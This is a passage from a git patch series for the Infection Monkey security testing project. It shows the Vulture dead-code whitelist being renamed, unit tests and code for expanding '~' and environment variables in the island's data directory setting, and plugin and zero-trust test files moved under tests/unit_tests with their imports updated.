(envs/monkey_zoo/blackbox/test_blackbox.py:85) MongoQueryJSONEncoder # unused class (envs/monkey_zoo/blackbox/utils/json_encoder.py:6) + + +# exists in common/, monkey_island/, or infection_monkey/, but is used in tests/unit_tests/ +_.instance_name # unused attribute (monkey/common/cloud/azure/azure_instance.py:35) +_.instance_name # unused attribute (monkey/common/cloud/azure/azure_instance.py:64) +SomeDummyPlugin # unused class (monkey/infection_monkey/utils/plugins/pluginTests/BadImport.py:4) +BadPluginInit # unused class (monkey/infection_monkey/utils/plugins/pluginTests/BadInit.py:4) +BadInit # unused class (monkey/infection_monkey/utils/plugins/pluginTests/ComboFile.py:4) +ProperClass # unused class (monkey/infection_monkey/utils/plugins/pluginTests/ComboFile.py:9) +PluginWorking # unused class (monkey/infection_monkey/utils/plugins/pluginTests/PluginWorking.py:4) +environment # unused variable (monkey/monkey_island/cc/models/monkey.py:59) +_.environment # unused attribute (monkey/monkey_island/cc/services/telemetry/processing/system_info_collectors/environment.py:10) +ISLAND # unused variable (monkey/monkey_island/cc/services/utils/node_states.py:14) +MONKEY_LINUX_RUNNING # unused variable (monkey/monkey_island/cc/services/utils/node_states.py:26) +RAW_SCOUTSUITE_DATA # unused variable (monkey/monkey_island/cc/services/zero_trust/test_common/raw_scoutsute_data.py:3) +save_example_findings # unused function (monkey/monkey_island/cc/services/zero_trust/zero_trust_report/test_common/example_finding_data.py:8) +data_for_tests_dir # unused function (monkey/tests/conftest.py:11) From 954ad642552fe795cda270c6567b82cd91bf3258 Mon Sep 17 00:00:00 2001 From: Shreya Date: Fri, 28 May 2021 19:39:13 +0530 Subject: [PATCH 0603/1360] Rename whitelist.py to vulture_whitelist.py --- .flake8 | 2 +- whitelist.py => vulture_whitelist.py | 0 2 files changed, 1 insertion(+), 1 deletion(-) rename whitelist.py => vulture_whitelist.py (100%) diff --git a/.flake8 b/.flake8 index c7cd1da1d2a..ecbc954ee53 100644 --- a/.flake8 +++ b/.flake8 @@ -1,7 +1,7 @@ [flake8] ## Warn about linter issues. -exclude = monkey/monkey_island/cc/ui,whitelist.py +exclude = monkey/monkey_island/cc/ui,vulture_whitelist.py show-source = True max-complexity = 10 max-line-length = 100 diff --git a/whitelist.py b/vulture_whitelist.py similarity index 100% rename from whitelist.py rename to vulture_whitelist.py From 995eaa0f3f11d4549f411e0d1b276e1769c8ba7f Mon Sep 17 00:00:00 2001 From: Shreya Date: Fri, 28 May 2021 19:41:46 +0530 Subject: [PATCH 0604/1360] Add more detailed comment in vulture_whitelist.py --- vulture_whitelist.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/vulture_whitelist.py b/vulture_whitelist.py index 29c3dfc598c..f607dc3c966 100644 --- a/vulture_whitelist.py +++ b/vulture_whitelist.py @@ -188,7 +188,7 @@ MongoQueryJSONEncoder # unused class (envs/monkey_zoo/blackbox/utils/json_encoder.py:6) -# exists in common/, monkey_island/, or infection_monkey/, but is used in tests/unit_tests/ +# exists in common/, monkey_island/, or infection_monkey/, but is used in tests/unit_tests/ which is skipped by Vulture _.instance_name # unused attribute (monkey/common/cloud/azure/azure_instance.py:35) _.instance_name # unused attribute (monkey/common/cloud/azure/azure_instance.py:64) SomeDummyPlugin # unused class (monkey/infection_monkey/utils/plugins/pluginTests/BadImport.py:4) From 0ab20d558bc6d8f1681c0b22f7193cef997677fc Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Tue, 1 Jun 2021 03:33:34 -0400 Subject: [PATCH 0605/1360] island: Add unit test to verify '~' expanded in data_dir --- .../setup/test_island_config_options.py | 15 +++++++++++++++ 1 file changed, 15 insertions(+) diff --git a/monkey/tests/unit_tests/monkey_island/setup/test_island_config_options.py b/monkey/tests/unit_tests/monkey_island/setup/test_island_config_options.py index 9175bc27410..240def90784 100644 --- a/monkey/tests/unit_tests/monkey_island/setup/test_island_config_options.py +++ b/monkey/tests/unit_tests/monkey_island/setup/test_island_config_options.py @@ -1,3 +1,5 @@ +import os + from monkey_island.cc.server_utils.consts import ( DEFAULT_DATA_DIR, DEFAULT_LOG_LEVEL, @@ -37,3 +39,16 @@ def test_island_config_options__mongodb(): assert options.start_mongodb == DEFAULT_START_MONGO_DB options = IslandConfigOptions(TEST_CONFIG_FILE_CONTENTS_NO_STARTMONGO) assert options.start_mongodb == DEFAULT_START_MONGO_DB + + +def set_home_env(monkeypatch, tmpdir): + monkeypatch.setenv("HOME", str(tmpdir)) + + +def test_island_config_options__data_dir_expanduser(monkeypatch, tmpdir): + set_home_env(monkeypatch, tmpdir) + DATA_DIR_NAME = "test_data_dir" + + options = IslandConfigOptions({"data_dir": f"~/{DATA_DIR_NAME}"}) + + assert options.data_dir == os.path.join(tmpdir, DATA_DIR_NAME) From c761dba030b38e8a92ecab529512ef6b90a34899 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Tue, 1 Jun 2021 03:35:33 -0400 Subject: [PATCH 0606/1360] island: Expand environment variables in data_dir --- monkey/monkey_island/setup/island_config_options.py | 5 +++-- .../monkey_island/setup/test_island_config_options.py | 9 +++++++++ 2 files changed, 12 insertions(+), 2 deletions(-) diff --git a/monkey/monkey_island/setup/island_config_options.py b/monkey/monkey_island/setup/island_config_options.py index 938c840a0f3..5ce62ba2e28 100644 --- a/monkey/monkey_island/setup/island_config_options.py +++ b/monkey/monkey_island/setup/island_config_options.py @@ -11,8 +11,9 @@ class IslandConfigOptions: def __init__(self, config_contents: dict): - self.data_dir = os.path.expanduser(config_contents.get("data_dir", DEFAULT_DATA_DIR)) - + self.data_dir = os.path.expandvars( + os.path.expanduser(config_contents.get("data_dir", DEFAULT_DATA_DIR)) + ) self.log_level = config_contents.get("log_level", DEFAULT_LOG_LEVEL) self.start_mongodb = config_contents.get( diff --git a/monkey/tests/unit_tests/monkey_island/setup/test_island_config_options.py b/monkey/tests/unit_tests/monkey_island/setup/test_island_config_options.py index 240def90784..fb2a1eb8cf1 100644 --- a/monkey/tests/unit_tests/monkey_island/setup/test_island_config_options.py +++ b/monkey/tests/unit_tests/monkey_island/setup/test_island_config_options.py @@ -52,3 +52,12 @@ def test_island_config_options__data_dir_expanduser(monkeypatch, tmpdir): options = IslandConfigOptions({"data_dir": f"~/{DATA_DIR_NAME}"}) assert options.data_dir == os.path.join(tmpdir, DATA_DIR_NAME) + + +def test_island_config_options__data_dir_expandvars(monkeypatch, tmpdir): + set_home_env(monkeypatch, tmpdir) + DATA_DIR_NAME = "test_data_dir" + + options = IslandConfigOptions({"data_dir": f"$HOME/{DATA_DIR_NAME}"}) + + assert options.data_dir == os.path.join(tmpdir, DATA_DIR_NAME) From 2cd665ff112c7dc5c03dbdfef4d15bf70e53a492 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Tue, 1 Jun 2021 03:46:28 -0400 Subject: [PATCH 0607/1360] island: Refactor duplicate code in IslandConfigOptions data_dir tests --- .../setup/test_island_config_options.py | 62 +++++++++++-------- 1 file changed, 35 insertions(+), 27 deletions(-) diff --git a/monkey/tests/unit_tests/monkey_island/setup/test_island_config_options.py b/monkey/tests/unit_tests/monkey_island/setup/test_island_config_options.py index fb2a1eb8cf1..e6d480611f8 100644 --- a/monkey/tests/unit_tests/monkey_island/setup/test_island_config_options.py +++ b/monkey/tests/unit_tests/monkey_island/setup/test_island_config_options.py @@ -18,11 +18,41 @@ TEST_CONFIG_FILE_CONTENTS_NO_STARTMONGO = {"mongodb": {}} -def test_island_config_options__data_dir(): - options = IslandConfigOptions(TEST_CONFIG_FILE_CONTENTS_SPECIFIED) - assert options.data_dir == "/tmp" - options = IslandConfigOptions(TEST_CONFIG_FILE_CONTENTS_UNSPECIFIED) - assert options.data_dir == DEFAULT_DATA_DIR +def test_island_config_options__data_dir_specified(): + assert_island_config_options_data_dir_equals(TEST_CONFIG_FILE_CONTENTS_SPECIFIED, "/tmp") + + +def test_island_config_options__data_dir_uses_default(): + assert_island_config_options_data_dir_equals( + TEST_CONFIG_FILE_CONTENTS_UNSPECIFIED, DEFAULT_DATA_DIR + ) + + +def test_island_config_options__data_dir_expanduser(monkeypatch, tmpdir): + set_home_env(monkeypatch, tmpdir) + DATA_DIR_NAME = "test_data_dir" + + assert_island_config_options_data_dir_equals( + {"data_dir": f"~/{DATA_DIR_NAME}"}, os.path.join(tmpdir, DATA_DIR_NAME) + ) + + +def test_island_config_options__data_dir_expandvars(monkeypatch, tmpdir): + set_home_env(monkeypatch, tmpdir) + DATA_DIR_NAME = "test_data_dir" + + assert_island_config_options_data_dir_equals( + {"data_dir": f"$HOME/{DATA_DIR_NAME}"}, os.path.join(tmpdir, DATA_DIR_NAME) + ) + + +def set_home_env(monkeypatch, tmpdir): + monkeypatch.setenv("HOME", str(tmpdir)) + + +def assert_island_config_options_data_dir_equals(config_file_contents, expected_data_dir): + options = IslandConfigOptions(config_file_contents) + assert options.data_dir == expected_data_dir def test_island_config_options__log_level(): @@ -39,25 +69,3 @@ def test_island_config_options__mongodb(): assert options.start_mongodb == DEFAULT_START_MONGO_DB options = IslandConfigOptions(TEST_CONFIG_FILE_CONTENTS_NO_STARTMONGO) assert options.start_mongodb == DEFAULT_START_MONGO_DB - - -def set_home_env(monkeypatch, tmpdir): - monkeypatch.setenv("HOME", str(tmpdir)) - - -def test_island_config_options__data_dir_expanduser(monkeypatch, tmpdir): - set_home_env(monkeypatch, tmpdir) - DATA_DIR_NAME = "test_data_dir" - - options = IslandConfigOptions({"data_dir": f"~/{DATA_DIR_NAME}"}) - - assert options.data_dir == os.path.join(tmpdir, DATA_DIR_NAME) - - -def test_island_config_options__data_dir_expandvars(monkeypatch, tmpdir): - set_home_env(monkeypatch, tmpdir) - DATA_DIR_NAME = "test_data_dir" - - options = IslandConfigOptions({"data_dir": f"$HOME/{DATA_DIR_NAME}"}) - - assert options.data_dir == os.path.join(tmpdir, DATA_DIR_NAME) From 09e7deb936f626bf1855119e40648dcf436aff5b Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Tue, 1 Jun 2021 03:59:07 -0400 Subject: [PATCH 0608/1360] island: Use os.path.join when creating test config contents dict --- .../monkey_island/setup/test_island_config_options.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/monkey/tests/unit_tests/monkey_island/setup/test_island_config_options.py b/monkey/tests/unit_tests/monkey_island/setup/test_island_config_options.py index e6d480611f8..35126a278cb 100644 --- a/monkey/tests/unit_tests/monkey_island/setup/test_island_config_options.py +++ b/monkey/tests/unit_tests/monkey_island/setup/test_island_config_options.py @@ -33,7 +33,7 @@ def test_island_config_options__data_dir_expanduser(monkeypatch, tmpdir): DATA_DIR_NAME = "test_data_dir" assert_island_config_options_data_dir_equals( - {"data_dir": f"~/{DATA_DIR_NAME}"}, os.path.join(tmpdir, DATA_DIR_NAME) + {"data_dir": os.path.join("~", DATA_DIR_NAME)}, os.path.join(tmpdir, DATA_DIR_NAME) ) @@ -42,7 +42,7 @@ def test_island_config_options__data_dir_expandvars(monkeypatch, tmpdir): DATA_DIR_NAME = "test_data_dir" assert_island_config_options_data_dir_equals( - {"data_dir": f"$HOME/{DATA_DIR_NAME}"}, os.path.join(tmpdir, DATA_DIR_NAME) + {"data_dir": os.path.join("$HOME", DATA_DIR_NAME)}, os.path.join(tmpdir, DATA_DIR_NAME) ) From 55ed8d28d0842ad36b33d161401197e116c21eeb Mon Sep 17 00:00:00 2001 From: Shreya Date: Wed, 2 Jun 2021 13:05:21 +0530 Subject: [PATCH 0609/1360] Rearranged unused code in Vulture whitelist according to categories --- .../utils/plugins/pluginTests/BadImport.py | 5 ---- .../plugins/pluginTests/PluginWorking.py | 5 ---- .../utils/plugins/pluginTests/BadImport.py | 7 ++++++ .../utils/plugins/pluginTests/BadInit.py | 2 +- .../utils/plugins/pluginTests/ComboFile.py | 2 +- .../plugins/pluginTests/PluginTestClass.py | 7 +++--- .../plugins/pluginTests/PluginWorking.py | 5 ++++ .../utils/plugins/pluginTests/__init__.py | 0 .../utils/plugins/test_plugin.py | 13 +++++++---- .../zero_trust/test_scoutsuite_finding.py | 4 +++- .../zero_trust}/raw_scoutsute_data.py | 0 .../data_parsing/test_rule_parser.py | 4 +++- .../test_scoutsuite_rule_service.py | 5 +++- .../test_scoutsuite_zt_finding_service.py | 8 +++---- .../test_common/example_finding_data.py | 5 ++-- .../zero_trust/test_common/finding_data.py | 13 ++++++----- .../test_common/monkey_finding_data.py | 0 .../test_common/scoutsuite_finding_data.py | 0 .../zero_trust_report/test_finding_service.py | 8 +++---- .../zero_trust_report/test_pillar_service.py | 6 ++--- .../test_principle_service.py | 6 ++--- vulture_whitelist.py | 23 +++++++------------ 22 files changed, 68 insertions(+), 60 deletions(-) delete mode 100644 monkey/infection_monkey/utils/plugins/pluginTests/BadImport.py delete mode 100644 monkey/infection_monkey/utils/plugins/pluginTests/PluginWorking.py create mode 100644 monkey/tests/unit_tests/infection_monkey/utils/plugins/pluginTests/BadImport.py rename monkey/{ => tests/unit_tests}/infection_monkey/utils/plugins/pluginTests/BadInit.py (50%) rename monkey/{ => tests/unit_tests}/infection_monkey/utils/plugins/pluginTests/ComboFile.py (58%) rename monkey/{ => tests/unit_tests}/infection_monkey/utils/plugins/pluginTests/PluginTestClass.py (65%) create mode 100644 monkey/tests/unit_tests/infection_monkey/utils/plugins/pluginTests/PluginWorking.py rename monkey/{ => tests/unit_tests}/infection_monkey/utils/plugins/pluginTests/__init__.py (100%) rename monkey/{monkey_island/cc/services/zero_trust/test_common => tests/unit_tests/monkey_island/cc/services/zero_trust}/raw_scoutsute_data.py (100%) rename monkey/{monkey_island/cc/services/zero_trust/zero_trust_report => tests/unit_tests/monkey_island/cc/services/zero_trust}/test_common/example_finding_data.py (96%) rename monkey/{ => tests/unit_tests}/monkey_island/cc/services/zero_trust/test_common/finding_data.py (81%) rename monkey/{ => tests/unit_tests}/monkey_island/cc/services/zero_trust/test_common/monkey_finding_data.py (100%) rename monkey/{ => tests/unit_tests}/monkey_island/cc/services/zero_trust/test_common/scoutsuite_finding_data.py (100%) diff --git a/monkey/infection_monkey/utils/plugins/pluginTests/BadImport.py b/monkey/infection_monkey/utils/plugins/pluginTests/BadImport.py deleted file mode 100644 index 41e8c13872b..00000000000 --- a/monkey/infection_monkey/utils/plugins/pluginTests/BadImport.py +++ /dev/null @@ -1,5 +0,0 @@ -from infection_monkey.utils.plugins.pluginTests.PluginTestClass import PluginTester # noqa: F401 - - -class SomeDummyPlugin: - pass diff --git a/monkey/infection_monkey/utils/plugins/pluginTests/PluginWorking.py b/monkey/infection_monkey/utils/plugins/pluginTests/PluginWorking.py deleted file mode 100644 index 27da245f2a4..00000000000 --- a/monkey/infection_monkey/utils/plugins/pluginTests/PluginWorking.py +++ /dev/null @@ -1,5 +0,0 @@ -from infection_monkey.utils.plugins.pluginTests.PluginTestClass import PluginTester - - -class PluginWorking(PluginTester): - pass diff --git a/monkey/tests/unit_tests/infection_monkey/utils/plugins/pluginTests/BadImport.py b/monkey/tests/unit_tests/infection_monkey/utils/plugins/pluginTests/BadImport.py new file mode 100644 index 00000000000..f0276b19d64 --- /dev/null +++ b/monkey/tests/unit_tests/infection_monkey/utils/plugins/pluginTests/BadImport.py @@ -0,0 +1,7 @@ +from tests.unit_tests.infection_monkey.utils.plugins.pluginTests.PluginTestClass import ( # noqa: F401, E501 + PluginTester, +) + + +class SomeDummyPlugin: + pass diff --git a/monkey/infection_monkey/utils/plugins/pluginTests/BadInit.py b/monkey/tests/unit_tests/infection_monkey/utils/plugins/pluginTests/BadInit.py similarity index 50% rename from monkey/infection_monkey/utils/plugins/pluginTests/BadInit.py rename to monkey/tests/unit_tests/infection_monkey/utils/plugins/pluginTests/BadInit.py index 61c1df7ad1f..821b2d063b0 100644 --- a/monkey/infection_monkey/utils/plugins/pluginTests/BadInit.py +++ b/monkey/tests/unit_tests/infection_monkey/utils/plugins/pluginTests/BadInit.py @@ -1,4 +1,4 @@ -from infection_monkey.utils.plugins.pluginTests.PluginTestClass import PluginTester +from tests.unit_tests.infection_monkey.utils.plugins.pluginTests.PluginTestClass import PluginTester class BadPluginInit(PluginTester): diff --git a/monkey/infection_monkey/utils/plugins/pluginTests/ComboFile.py b/monkey/tests/unit_tests/infection_monkey/utils/plugins/pluginTests/ComboFile.py similarity index 58% rename from monkey/infection_monkey/utils/plugins/pluginTests/ComboFile.py rename to monkey/tests/unit_tests/infection_monkey/utils/plugins/pluginTests/ComboFile.py index d4d464b33d4..45f39738a35 100644 --- a/monkey/infection_monkey/utils/plugins/pluginTests/ComboFile.py +++ b/monkey/tests/unit_tests/infection_monkey/utils/plugins/pluginTests/ComboFile.py @@ -1,4 +1,4 @@ -from infection_monkey.utils.plugins.pluginTests.PluginTestClass import PluginTester +from tests.unit_tests.infection_monkey.utils.plugins.pluginTests.PluginTestClass import PluginTester class BadInit(PluginTester): diff --git a/monkey/infection_monkey/utils/plugins/pluginTests/PluginTestClass.py b/monkey/tests/unit_tests/infection_monkey/utils/plugins/pluginTests/PluginTestClass.py similarity index 65% rename from monkey/infection_monkey/utils/plugins/pluginTests/PluginTestClass.py rename to monkey/tests/unit_tests/infection_monkey/utils/plugins/pluginTests/PluginTestClass.py index 4de543fb0db..0220e06838a 100644 --- a/monkey/infection_monkey/utils/plugins/pluginTests/PluginTestClass.py +++ b/monkey/tests/unit_tests/infection_monkey/utils/plugins/pluginTests/PluginTestClass.py @@ -1,4 +1,5 @@ -import infection_monkey.utils.plugins.pluginTests +import tests.unit_tests.infection_monkey.utils.plugins.pluginTests + from infection_monkey.utils.plugins.plugin import Plugin @@ -15,8 +16,8 @@ def should_run(class_name): @staticmethod def base_package_file(): - return infection_monkey.utils.plugins.pluginTests.__file__ + return tests.unit_tests.infection_monkey.utils.plugins.pluginTests.__file__ @staticmethod def base_package_name(): - return infection_monkey.utils.plugins.pluginTests.__package__ + return tests.unit_tests.infection_monkey.utils.plugins.pluginTests.__package__ diff --git a/monkey/tests/unit_tests/infection_monkey/utils/plugins/pluginTests/PluginWorking.py b/monkey/tests/unit_tests/infection_monkey/utils/plugins/pluginTests/PluginWorking.py new file mode 100644 index 00000000000..bae443c5087 --- /dev/null +++ b/monkey/tests/unit_tests/infection_monkey/utils/plugins/pluginTests/PluginWorking.py @@ -0,0 +1,5 @@ +from tests.unit_tests.infection_monkey.utils.plugins.pluginTests.PluginTestClass import PluginTester + + +class PluginWorking(PluginTester): + pass diff --git a/monkey/infection_monkey/utils/plugins/pluginTests/__init__.py b/monkey/tests/unit_tests/infection_monkey/utils/plugins/pluginTests/__init__.py similarity index 100% rename from monkey/infection_monkey/utils/plugins/pluginTests/__init__.py rename to monkey/tests/unit_tests/infection_monkey/utils/plugins/pluginTests/__init__.py diff --git a/monkey/tests/unit_tests/infection_monkey/utils/plugins/test_plugin.py b/monkey/tests/unit_tests/infection_monkey/utils/plugins/test_plugin.py index 35eaaed6340..db1069bf0d9 100644 --- a/monkey/tests/unit_tests/infection_monkey/utils/plugins/test_plugin.py +++ b/monkey/tests/unit_tests/infection_monkey/utils/plugins/test_plugin.py @@ -1,10 +1,13 @@ from unittest import TestCase -from infection_monkey.utils.plugins.pluginTests.BadImport import SomeDummyPlugin -from infection_monkey.utils.plugins.pluginTests.BadInit import BadPluginInit -from infection_monkey.utils.plugins.pluginTests.ComboFile import BadInit, ProperClass -from infection_monkey.utils.plugins.pluginTests.PluginTestClass import PluginTester -from infection_monkey.utils.plugins.pluginTests.PluginWorking import PluginWorking +from tests.unit_tests.infection_monkey.utils.plugins.pluginTests.BadImport import SomeDummyPlugin +from tests.unit_tests.infection_monkey.utils.plugins.pluginTests.BadInit import BadPluginInit +from tests.unit_tests.infection_monkey.utils.plugins.pluginTests.ComboFile import ( + BadInit, + ProperClass, +) +from tests.unit_tests.infection_monkey.utils.plugins.pluginTests.PluginTestClass import PluginTester +from tests.unit_tests.infection_monkey.utils.plugins.pluginTests.PluginWorking import PluginWorking class TestPlugin(TestCase): diff --git a/monkey/tests/unit_tests/monkey_island/cc/models/zero_trust/test_scoutsuite_finding.py b/monkey/tests/unit_tests/monkey_island/cc/models/zero_trust/test_scoutsuite_finding.py index a9ce8837e89..952d872899a 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/models/zero_trust/test_scoutsuite_finding.py +++ b/monkey/tests/unit_tests/monkey_island/cc/models/zero_trust/test_scoutsuite_finding.py @@ -1,12 +1,14 @@ import pytest from mongoengine import ValidationError +from tests.unit_tests.monkey_island.cc.services.zero_trust.test_common.scoutsuite_finding_data import ( # noqa: E501 + RULES, +) import common.common_consts.zero_trust_consts as zero_trust_consts from monkey_island.cc.models.zero_trust.finding import Finding from monkey_island.cc.models.zero_trust.monkey_finding_details import MonkeyFindingDetails from monkey_island.cc.models.zero_trust.scoutsuite_finding import ScoutSuiteFinding from monkey_island.cc.models.zero_trust.scoutsuite_finding_details import ScoutSuiteFindingDetails -from monkey_island.cc.services.zero_trust.test_common.scoutsuite_finding_data import RULES MONKEY_FINDING_DETAIL_MOCK = MonkeyFindingDetails() MONKEY_FINDING_DETAIL_MOCK.events = ["mock1", "mock2"] diff --git a/monkey/monkey_island/cc/services/zero_trust/test_common/raw_scoutsute_data.py b/monkey/tests/unit_tests/monkey_island/cc/services/zero_trust/raw_scoutsute_data.py similarity index 100% rename from monkey/monkey_island/cc/services/zero_trust/test_common/raw_scoutsute_data.py rename to monkey/tests/unit_tests/monkey_island/cc/services/zero_trust/raw_scoutsute_data.py diff --git a/monkey/tests/unit_tests/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/test_rule_parser.py b/monkey/tests/unit_tests/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/test_rule_parser.py index daaabf43012..819d6fe761f 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/test_rule_parser.py +++ b/monkey/tests/unit_tests/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/test_rule_parser.py @@ -1,12 +1,14 @@ from enum import Enum import pytest +from tests.unit_tests.monkey_island.cc.services.zero_trust.raw_scoutsute_data import ( + RAW_SCOUTSUITE_DATA, +) from common.utils.exceptions import RulePathCreatorNotFound from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.ec2_rules import EC2Rules from monkey_island.cc.services.zero_trust.scoutsuite.consts.service_consts import SERVICES from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_parser import RuleParser -from monkey_island.cc.services.zero_trust.test_common.raw_scoutsute_data import RAW_SCOUTSUITE_DATA class ExampleRules(Enum): diff --git a/monkey/tests/unit_tests/monkey_island/cc/services/zero_trust/scoutsuite/test_scoutsuite_rule_service.py b/monkey/tests/unit_tests/monkey_island/cc/services/zero_trust/scoutsuite/test_scoutsuite_rule_service.py index fa3ca9835d0..d389ce90423 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/services/zero_trust/scoutsuite/test_scoutsuite_rule_service.py +++ b/monkey/tests/unit_tests/monkey_island/cc/services/zero_trust/scoutsuite/test_scoutsuite_rule_service.py @@ -1,5 +1,9 @@ from copy import deepcopy +from tests.unit_tests.monkey_island.cc.services.zero_trust.test_common.scoutsuite_finding_data import ( # noqa: E501 + RULES, +) + from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_consts import ( RULE_LEVEL_DANGER, RULE_LEVEL_WARNING, @@ -7,7 +11,6 @@ from monkey_island.cc.services.zero_trust.scoutsuite.scoutsuite_rule_service import ( ScoutSuiteRuleService, ) -from monkey_island.cc.services.zero_trust.test_common.scoutsuite_finding_data import RULES example_scoutsuite_data = { "checked_items": 179, diff --git a/monkey/tests/unit_tests/monkey_island/cc/services/zero_trust/scoutsuite/test_scoutsuite_zt_finding_service.py b/monkey/tests/unit_tests/monkey_island/cc/services/zero_trust/scoutsuite/test_scoutsuite_zt_finding_service.py index 51598c1a918..33e9fd34b46 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/services/zero_trust/scoutsuite/test_scoutsuite_zt_finding_service.py +++ b/monkey/tests/unit_tests/monkey_island/cc/services/zero_trust/scoutsuite/test_scoutsuite_zt_finding_service.py @@ -1,14 +1,14 @@ import pytest +from tests.unit_tests.monkey_island.cc.services.zero_trust.test_common.scoutsuite_finding_data import ( # noqa: E501 + RULES, + SCOUTSUITE_FINDINGS, +) from monkey_island.cc.models.zero_trust.finding import Finding from monkey_island.cc.models.zero_trust.scoutsuite_finding import ScoutSuiteFinding from monkey_island.cc.services.zero_trust.scoutsuite.scoutsuite_zt_finding_service import ( ScoutSuiteZTFindingService, ) -from monkey_island.cc.services.zero_trust.test_common.scoutsuite_finding_data import ( - RULES, - SCOUTSUITE_FINDINGS, -) class TestScoutSuiteZTFindingService: diff --git a/monkey/monkey_island/cc/services/zero_trust/zero_trust_report/test_common/example_finding_data.py b/monkey/tests/unit_tests/monkey_island/cc/services/zero_trust/test_common/example_finding_data.py similarity index 96% rename from monkey/monkey_island/cc/services/zero_trust/zero_trust_report/test_common/example_finding_data.py rename to monkey/tests/unit_tests/monkey_island/cc/services/zero_trust/test_common/example_finding_data.py index 51677efc994..31cd709b9e0 100644 --- a/monkey/monkey_island/cc/services/zero_trust/zero_trust_report/test_common/example_finding_data.py +++ b/monkey/tests/unit_tests/monkey_island/cc/services/zero_trust/test_common/example_finding_data.py @@ -1,9 +1,10 @@ -from common.common_consts import zero_trust_consts -from monkey_island.cc.services.zero_trust.test_common.finding_data import ( +from tests.unit_tests.monkey_island.cc.services.zero_trust.test_common.finding_data import ( get_monkey_finding_dto, get_scoutsuite_finding_dto, ) +from common.common_consts import zero_trust_consts + def save_example_findings(): # devices passed = 1 diff --git a/monkey/monkey_island/cc/services/zero_trust/test_common/finding_data.py b/monkey/tests/unit_tests/monkey_island/cc/services/zero_trust/test_common/finding_data.py similarity index 81% rename from monkey/monkey_island/cc/services/zero_trust/test_common/finding_data.py rename to monkey/tests/unit_tests/monkey_island/cc/services/zero_trust/test_common/finding_data.py index 36a8761cbec..838035cbf26 100644 --- a/monkey/monkey_island/cc/services/zero_trust/test_common/finding_data.py +++ b/monkey/tests/unit_tests/monkey_island/cc/services/zero_trust/test_common/finding_data.py @@ -1,3 +1,10 @@ +from tests.unit_tests.monkey_island.cc.services.zero_trust.test_common.monkey_finding_data import ( + get_monkey_details_dto, +) +from tests.unit_tests.monkey_island.cc.services.zero_trust.test_common.scoutsuite_finding_data import ( # noqa: E501 + get_scoutsuite_details_dto, +) + from common.common_consts.zero_trust_consts import ( STATUS_FAILED, STATUS_PASSED, @@ -7,12 +14,6 @@ from monkey_island.cc.models.zero_trust.finding import Finding from monkey_island.cc.models.zero_trust.monkey_finding import MonkeyFinding from monkey_island.cc.models.zero_trust.scoutsuite_finding import ScoutSuiteFinding -from monkey_island.cc.services.zero_trust.test_common.monkey_finding_data import ( - get_monkey_details_dto, -) -from monkey_island.cc.services.zero_trust.test_common.scoutsuite_finding_data import ( - get_scoutsuite_details_dto, -) def get_scoutsuite_finding_dto() -> Finding: diff --git a/monkey/monkey_island/cc/services/zero_trust/test_common/monkey_finding_data.py b/monkey/tests/unit_tests/monkey_island/cc/services/zero_trust/test_common/monkey_finding_data.py similarity index 100% rename from monkey/monkey_island/cc/services/zero_trust/test_common/monkey_finding_data.py rename to monkey/tests/unit_tests/monkey_island/cc/services/zero_trust/test_common/monkey_finding_data.py diff --git a/monkey/monkey_island/cc/services/zero_trust/test_common/scoutsuite_finding_data.py b/monkey/tests/unit_tests/monkey_island/cc/services/zero_trust/test_common/scoutsuite_finding_data.py similarity index 100% rename from monkey/monkey_island/cc/services/zero_trust/test_common/scoutsuite_finding_data.py rename to monkey/tests/unit_tests/monkey_island/cc/services/zero_trust/test_common/scoutsuite_finding_data.py diff --git a/monkey/tests/unit_tests/monkey_island/cc/services/zero_trust/zero_trust_report/test_finding_service.py b/monkey/tests/unit_tests/monkey_island/cc/services/zero_trust/zero_trust_report/test_finding_service.py index 81bee7d955b..4c2c1527f25 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/services/zero_trust/zero_trust_report/test_finding_service.py +++ b/monkey/tests/unit_tests/monkey_island/cc/services/zero_trust/zero_trust_report/test_finding_service.py @@ -1,6 +1,10 @@ from unittest.mock import MagicMock import pytest +from tests.unit_tests.monkey_island.cc.services.zero_trust.test_common.finding_data import ( + get_monkey_finding_dto, + get_scoutsuite_finding_dto, +) from common.common_consts.zero_trust_consts import ( DEVICES, @@ -14,10 +18,6 @@ from monkey_island.cc.services.zero_trust.monkey_findings.monkey_zt_details_service import ( MonkeyZTDetailsService, ) -from monkey_island.cc.services.zero_trust.test_common.finding_data import ( - get_monkey_finding_dto, - get_scoutsuite_finding_dto, -) from monkey_island.cc.services.zero_trust.zero_trust_report.finding_service import ( EnrichedFinding, FindingService, diff --git a/monkey/tests/unit_tests/monkey_island/cc/services/zero_trust/zero_trust_report/test_pillar_service.py b/monkey/tests/unit_tests/monkey_island/cc/services/zero_trust/zero_trust_report/test_pillar_service.py index 34c8c49753e..1be9f2fcb2b 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/services/zero_trust/zero_trust_report/test_pillar_service.py +++ b/monkey/tests/unit_tests/monkey_island/cc/services/zero_trust/zero_trust_report/test_pillar_service.py @@ -1,6 +1,9 @@ from typing import List import pytest +from tests.unit_tests.monkey_island.cc.services.zero_trust.test_common.example_finding_data import ( # noqa: E501 + save_example_findings, +) from common.common_consts import zero_trust_consts from common.common_consts.zero_trust_consts import ( @@ -13,9 +16,6 @@ WORKLOADS, ) from monkey_island.cc.services.zero_trust.zero_trust_report.pillar_service import PillarService -from monkey_island.cc.services.zero_trust.zero_trust_report.test_common.example_finding_data import ( # noqa: E501 - save_example_findings, -) @pytest.mark.usefixtures("uses_database") diff --git 